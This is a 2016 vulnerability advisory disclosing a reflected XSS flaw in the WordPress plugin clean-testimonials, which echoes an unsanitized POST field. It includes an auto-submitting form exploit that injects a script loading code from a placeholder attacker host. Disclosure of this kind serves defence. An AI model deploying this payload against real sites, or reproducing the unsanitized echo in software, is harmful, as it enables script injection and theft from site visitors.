Advisory #: 1069
Title: Reflected XSS in wordpress plugin clean-testimonials v1.5.2.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/clean-testimonials
Downloads: 22085
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: clean-testimonials
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./clean-testimonials/lib/templates/email-new-testimonial.php: 96: <h2><?php echo $_POST['testimonial_client_name']; ?> wrote,</h2> The variable testimonial_client_name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./clean-testimonials/lib/templates/email-new-testimonial.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/clean-testimonials/lib/templates/email-new-testimonial.php method=post> <input type=hidden name=testimonial_client_name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>